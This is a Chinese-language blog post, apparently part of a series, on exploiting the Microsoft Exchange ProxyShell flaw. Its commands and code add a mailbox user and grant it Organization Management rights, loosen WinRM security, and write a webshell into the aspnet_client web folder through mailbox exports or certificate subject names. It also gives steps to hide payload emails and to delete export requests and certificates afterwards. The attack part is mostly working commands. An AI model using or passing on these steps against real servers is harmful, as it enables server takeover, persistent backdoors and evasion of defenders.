ProxyShell 利用分析3——添加用户和文件写入

发布于 2024-12-03 10:49:21 字数 7183 浏览 8 评论 0

0x00 前言

本文将要介绍 ProxyShell 中添加用户和文件写入的细节,分析利用思路。

0x01 简介

本文将要介绍以下内容:

  • 添加用户的方法
  • 文件写入的方法
  • 利用分析

0x02 添加用户的方法

使用 PyPSRP 执行 Powershell 命令时,无法执行添加用户的操作

这是因为传递 Password 的值时需要执行 Powershell 命令 convertto-securestring ,而 convertto-securestring 不是 Exchange PowerShell Remoting 支持的命令

解决方法可以参考 Orange 的思路,通过调用本地 Powershell,最终实现添加用户

参考资料:https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

需要注意以下细节:

1.通过 Flask 建立本地代理服务器

代码可参考:https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py

在 Python3 环境下,需要将 request.headers.iteritems() 修改为 request.headers.items()

如果遇到负载均衡,可以对返回状态码进行判断,如果返回状态码不是 200,重新发送数据包

Line28-Line34 可以替换成以下代码:

    while True:
        r = requests.post(powershell_url, data=data, headers=req_headers, verify=False)    
        if r.status_code == 200:
            print("[+]" + r.headers["X-CalculatedBETarget"])
            break
        else:    
            print("[-]" + r.headers["X-CalculatedBETarget"])  
    req_headers = {}
    for k, v in r.headers.items(): 
        if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: 
            continue 
        req_headers[k] = v 

    return r.content, r.status_code, req_headers

2.调用本地 Powershell

命令可参考:https://gist.githubusercontent.com/zdi-team/a2eb014d248e4e54a2ab4ba4ae3ac3cf/raw/af251aefc37a47489f43128832798a210393013a/P2O-Vancouver-2021-ProxyShell-snippet-8.ps1

在调用本地 Powershell 命令前,系统需要做以下设置:

(1) 设置网络位置

不能选择 Public network,需要 Home network 或者 Work network

(2) 设置管理员用户的密码

确保管理员用户设置了密码

(3) 开启 winrm 服务

winrm quickconfig

(4) 修改 allowunencrypted 属性

Powershell 命令如下:

cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
dir

(5) 设置 TrustedHosts

Powershell 命令如下:

Get-Item WSMan:\localhost\Client\TrustedHosts
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'

以上设置完成后,能够建立 PowerShell 会话并执行 Exchange PowerShell 命令

添加用户的操作需要传入 securestring,这里可以使用 -ArgumentList 参数传入

添加用户的命令示例:

$pwd=convertto-securestring Password123 -asplaintext -force;
$command = {New-Mailbox -UserPrincipalName testuser1@test.com -OrganizationalUnit test.com/Users -Alias testuser1 -Name testuser1 -DisplayName testuser1 -Password $args[0];}
Invoke-Command -Session $session -ScriptBlock $command -ArgumentList $pwd

添加管理员用户的命令示例:

$command = {Add-RoleGroupMember "Organization Management" -Member testuser1 -BypassSecurityGroupManagerCheck}
Invoke-Command -Session $session -ScriptBlock $command

0x03 文件写入的方法

1.通过 New-MailboxExportRequest 写入文件

New-MailboxExportRequest 用于导出邮件,相关用法可以参考之前的文章 《渗透基础——从 Exchange 服务器上搜索和导出邮件》

在写入文件时,需要注意以下问题:

(1) 用户需要添加到角色组"Mailbox Import Export"中

添加用户到角色组"Mailbox Import Export"的命令示例:

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User Administrator

移除用户的命令示例:

Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-Administrator" -Confirm:$false

查看角色组"Mailbox Import Export"中用户的命令示例:

Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user

(2) 通过邮件传递 Payload

这里有以下两种方法:

1. 从外部邮箱向目标邮箱发送带有 Payload 的邮件 2.利用 CVE-2021-34473 模拟任意邮箱用户,将带有 Payload 的邮件保存至指定文件夹

对于方法 2,为了提高隐蔽性,在保存带有 Payload 的邮件时可以先创建隐藏文件夹再进行保存,详情可参考之前的文章 《渗透基础——Exchange 用户邮箱中的隐藏文件夹》

(3) 写入文件

为了能够精确的写入 Payload,避免意外错误,在写入邮件时需要加入限定条件,只导出带有 Payload 的邮件

导出邮件的命令示例:

New-MailboxexportRequest -mailbox "test1" -ContentFilter {(body -like "payload Flag")} -FilePath ("\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx")

(4) 清除导出请求

在执行命令 New-MailboxexportRequest 进行导出时,会自动保存导出请求的记录,默认为 30 天

如果不想保存导出请求,可以加上参数 -CompletedRequestAgeLimit 0

补充:关于导出请求的相关操作

查看邮件导出请求:

Get-MailboxExportRequest

删除具体的某个导出请求:

Remove-MailboxExportRequest -RequestQueue "Mailbox Database 1111111111" -RequestGuid 11111111-1111-1111-1111-111111111111 -Confirm:$false
Remove-MailboxExportRequest -Identity 'test.com/Users/test1\MailboxExport' -Confirm:$false

注:

匹配的参数从 Get-MailboxExportRequest|fl 的结果中获得

删除所有导出请求:

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

2.通过 New-ExchangeCertificate 写入文件

New-ExchangeCertificate 用于创建和续订自签名证书

最早的公开利用方法在 cve-2020-17083 中,参考资料:https://srcincite.io/pocs/cve-2020-17083.ps1.txt

(1) 传递 Payload

通过参数 SubjectName 传入 Payload,需要符合特定的语法,参考资料:https://docs.microsoft.com/zh-cn/powershell/module/exchange/new-exchangecertificate?view=exchange-ps

简要的说,需要注意以下问题:

  • 可以使用固定格式: CN=Payload
  • 不能包含这三个特殊字符: , + ;

如果选择 Jscript 作为 Payload,可以先将代码进行 Base64 编码来避免特殊字符

写入时,如果返回内容为 Microsoft.Exchange.Data.BinaryFileDataObject,代表写入成功

(2) 清除证书

读取所有证书的命令示例:

Get-ExchangeCertificate

匹配指定特征证书的命令示例:

Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*'

删除指定证书的命令示例:

Remove-ExchangeCertificate -Thumbprint 1111111111111111111111111111111111111111 -Confirm:$false
Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*' |Remove-ExchangeCertificate -Confirm:$false

0x04 小结

在 ProxyShell 的研究过程中,我产生了很多新的想法,未来会在合适的机会进行分享。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

谎言

暂无简介

文章
评论
26 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文